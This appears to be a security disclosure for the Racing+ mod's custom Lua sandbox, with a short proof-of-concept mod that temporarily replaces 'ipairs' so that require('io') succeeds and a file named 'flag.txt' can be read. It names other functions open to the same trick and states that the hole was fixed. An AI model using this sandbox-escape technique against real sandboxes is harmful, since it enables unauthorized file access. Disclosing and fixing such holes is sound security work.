The following mod escapes Racing+'s custom sandbox (for --luadebug):
-- main.lua
function myRequire(path)
local localIpairs = ipairs
-- replace 'ipair' with a dummy function
ipairs = function()
print("- custom ipairs")
return localIpairs({})
end
local lib = require(path)
-- restore 'ipair'
ipairs = localIpairs
return lib
end
-- no error
local io = myRequire("io")
-- e.g. mod can read file
print("flag:", io.open("flag.txt"):read("a"))
The same technique can be used with the ipairs, string.gsub, string.gmatch, table.insert and error functions
The following mod escapes Racing+'s custom sandbox (for
--luadebug
):The same technique can be used with the
ipairs
,string.gsub
,string.gmatch
,table.insert
anderror
functionsFixed by making local copies of those functions